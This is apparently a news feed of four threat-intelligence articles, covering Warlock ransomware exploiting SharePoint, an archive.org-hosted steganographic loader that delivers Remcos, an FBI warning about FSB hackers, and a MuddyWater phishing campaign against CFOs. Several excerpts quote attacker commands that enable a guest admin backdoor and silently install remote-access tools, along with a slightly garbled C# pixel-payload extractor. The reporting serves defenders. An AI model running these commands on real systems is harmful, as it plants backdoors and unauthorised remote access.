In recent weeks, the cybersecurity community has witnessed the rapid emergence of Warlock, a novel ransomware strain that weaponizes unpatched Microsoft SharePoint servers to infiltrate enterprise networks.

Initial analysis reveals that threat actors exploit publicly exposed SharePoint instances via specially crafted HTTP POST requests, deploying web shells that grant remote code execution within the target environment.

From this foothold, Warlock operators escalate privileges, harvest credentials, and move laterally using both built-in Windows utilities and custom malware components.

The payload ultimately encrypts critical data and exfiltrates sensitive files, demanding ransom under the “.x2anylock” extension.

Trend Micro analysts noted that Warlock first appeared on underground forums in June 2025, shortly after vulnerabilities in SharePoint authentication and deserialization mechanisms were disclosed.

Within days, the group claimed multiple high-profile victims across governmental, financial, and manufacturing sectors worldwide.

Researchers identified code patterns reminiscent of the leaked LockBit 3.0 builder, suggesting that Warlock may be a customized derivative rather than a wholly original creation.

This affiliation is further supported by similarities in negotiation tactics and ransom note formatting.

The impact of Warlock extends beyond encryption. During the final stage of an attack, operators employ the legitimate synchronization tool RClone—rebranded as TrendSecurity.exe—to siphon off credentials, documents, and database files to external cloud storage. This exfiltration phase uses a Proton Drive back end, leveraging burner credentials to obscure the destination.

In addition, the ransomware disables or terminates endpoint protection services by deploying a malicious driver (googleApiUtil64.sys) to kill security processes, including Trend Micro’s own netagent and VOneAgentConsoleTray.

Such actions highlight the sophistication of Warlock’s defense-evasion tactics. One critical subtopic that exemplifies Warlock’s stealthy approach is its persistence mechanism.

After successfully uploading a web shell, attackers deploy a batch script named TakeOver.bat, which automates the creation of a backdoor account and the installation of scheduled tasks.

The script begins by activating the built-in “guest” account and adding it to the local Administrators group:-

net user guest P@ssw0rd! /active:yes
net localgroup administrators guest /add

Next, it copies the malicious payload and ancillary tools from a remote share into C:\Users\Public\, using:-

cmd[.]exe /c copy \\10.0.0.5\tools\* C:\Users\Public\ /y
start /B C:\Users\Public\payload.exe

This ensures that the payload survives system reboots and continues to run under minimal scrutiny.

Researchers identified that the script also creates a new Group Policy Object named “TakeOver” to reinstate the backdoor account if remediation attempts are made.

By combining web shell exploitation, group policy abuse, and driver-based process termination, Warlock achieves a resilient presence within compromised networks.

Its modular design and use of legitimate utilities further complicate detection and response efforts.

As organizations continue to patch SharePoint vulnerabilities, defenders must also monitor for anomalous GPO modifications, unusual service installations, and renamed binaries within public folders to detect and mitigate Warlock-infected environments.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Warlock Ransomware Exploiting SharePoint Vulnerabilities to Gain Access and Steal Credentials appeared first on Cyber Security News.

Security researchers have uncovered a novel malware delivery chain in recent weeks that leverages the Internet Archive’s legitimate infrastructure to host obfuscated payloads.

The attack begins with a seemingly innocuous JScript file delivered via malspam, which in turn invokes a PowerShell loader.

This PowerShell script reaches out to the Internet Archive (archive.org) to retrieve a benign-looking PNG image that, upon closer inspection, houses a hidden .NET loader encoded within its pixel data.

Researchers noted that this clever repurposing of a trusted web property allowed the attackers to blend malicious traffic seamlessly with legitimate archival requests, complicating detection efforts.

VMRay analysts identified the initial JScript loader as the first stage, executed when a victim opens a malicious attachment. The script instantiates a WScript.Shell object and executes PowerShell with a Base64-encoded command string.

When decoded, the command connects to a URL under archive.org, downloads image.png, and passes it to an in-memory .NET assembly extractor.

The extraction routine reads each pixel’s RGB values and reconstructs the original DLL byte stream.

In a matter of seconds, the .NET loader establishes persistence by creating a registry Run key under HKCU\Software\Microsoft\Windows\CurrentVersion\Run.

It then decompresses and launches the final payload: a Remcos remote access trojan. The Remcos instance connects to its command-and-control (C2) server via a Duck DNS subdomain, ensuring dynamic resolution and redundancy.

Subsequent beaconing and module loading occur entirely in memory, leaving minimal forensic artifacts on disk. This memory-only execution chain highlights the adversary’s emphasis on evading traditional signature-based detection tools.

The implications of abusing a high-reputation archive for malware hosting are profound. By embedding malicious code within an innocuous image on archive.org, attackers exploit the archive’s HTTPS certificates and content delivery network to avoid raising red flags.

Network defenders may see only an encrypted HTTPS request to archive.org, which is typically whitelisted, thereby bypassing firewall and proxy inspection.

The obfuscation layers—JScript, Base64, RGB pixel encoding, in-memory .NET execution—compound the stealth of the campaign.

public byte[] ExtractPayload(Bitmap bmp) {
    List<byte> bytes = new List<byte>();
    for (int y = 0; y < bmp.Height; y++) {
        for (int x = 0; x < bmp.Width; x++) {
            Color pixel = bmp.GetPixel(x, y);
            if (!(pixel.R == 0 && pixel.G == 0 && pixel.B == 0)) {
                bytes. Add(pixel.R);
                bytes. Add(pixel.G);
               bytes. Addd(pixel.B);
            }
        }
    }
    return Decompress(bytes.ToArray());
}

Here, the infection mechanism shows that JScript invocation through in-memory payload deployment—revealing how each stage subverts common defensive controls.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post Internet Archive Abused for Hosting Stealthy JScript Loader Malware appeared first on Cyber Security News.

The Federal Bureau of Investigation (FBI) has issued a stark warning to the public, private sector, and international partners regarding persistent cyber threats from actors affiliated with the Russian Federal Security Service’s (FSB) Center 16. This unit, recognized in cybersecurity circles under monikers such as “Berserk Bear” and “Dragonfly,” has been actively exploiting vulnerabilities in […]

The post FBI Warns Russian State Hackers Targeting Critical Infrastructure Networking Devices appeared first on GBHackers Security | #1 Globally Trusted Cyber Security News Platform.

A sophisticated cyber espionage campaign attributed to APT MuddyWater has emerged targeting Chief Financial Officers and finance executives across Europe, North America, South America, Africa, and Asia.

The threat actors are deploying a multi-stage phishing operation that masquerades as legitimate recruitment communications from Rothschild & Co, leveraging Firebase-hosted phishing pages with custom CAPTCHA challenges to deceive high-value targets.

The campaign demonstrates significant evolution in the group’s tactics, incorporating legitimate remote access tools including NetBird and OpenSSH to establish persistent backdoors within corporate networks.

The attack sequence begins with carefully crafted spear-phishing emails that direct victims to Firebase-hosted domains such as googl-6c11f.firebaseapp.com, where targets encounter seemingly legitimate “human verification” challenges.

Upon completing these fabricated CAPTCHA tests, victims are redirected to secondary phishing sites that deliver malicious ZIP archives disguised as PDF documents.

These archives contain VBScript files that initiate a complex multi-stage infection process designed to deploy remote access capabilities while maintaining stealth.

Hunt.io analysts identified critical infrastructure shifts within this campaign, noting the transition from previously documented command-and-control servers at 192.3.95.152 to new infrastructure at 198.46.178.135.

The researchers discovered multiple Firebase projects utilizing identical phishing kits, including cloud-ed980.firebaseapp.com and cloud-233f9.web.app, all employing AES-encrypted redirect mechanisms with hard-coded passphrases to evade detection systems.

The malware’s persistence mechanisms represent a particularly concerning aspect of this campaign.

The initial VBS downloader (F-144822.vbs) retrieves a secondary payload from the attacker-controlled infrastructure, specifically targeting the path /34564/cis.ico, which is renamed to cis.vbs upon execution.

This second-stage script performs several critical functions, including the silent installation of NetBird and OpenSSH MSI packages using the following command structure:-

msiexec /i netbird.msi /quiet
msiexec /i OpenSSH.msi /quiet

Advanced Persistence and Remote Access Implementation

The campaign’s most sophisticated element lies in its comprehensive persistence strategy, which combines multiple legitimate tools to establish redundant access channels.

The malware creates a hidden administrative account named “user” with the password “Bs@202122”, effectively providing attackers with privileged system access that persists across system reboots.

This account is strategically hidden from Windows login screens through registry modifications, ensuring it remains undetected during routine system administration activities.

NetBird deployment utilizes a preconfigured setup key (E48E4A70-4CF4-4A77-946B-C8E50A60855A) to establish secure tunnel connections, while simultaneously enabling Remote Desktop Protocol services and configuring firewall exceptions.

The malware ensures service reliability through scheduled task creation, specifically implementing “ForceNetbirdRestart” tasks that automatically restart NetBird services after system startup delays.

Additionally, the campaign removes NetBird desktop shortcuts from all user profiles, effectively concealing the presence of newly installed remote access software from casual observation by system administrators or users.

Boost your SOC and help your team protect your business with free top-notch threat intelligence: Request TI Lookup Premium Trial.

The post APT MuddyWater Attacking CFOs Leveraging OpenSSH, Enables RDP, and Scheduled Task appeared first on Cyber Security News.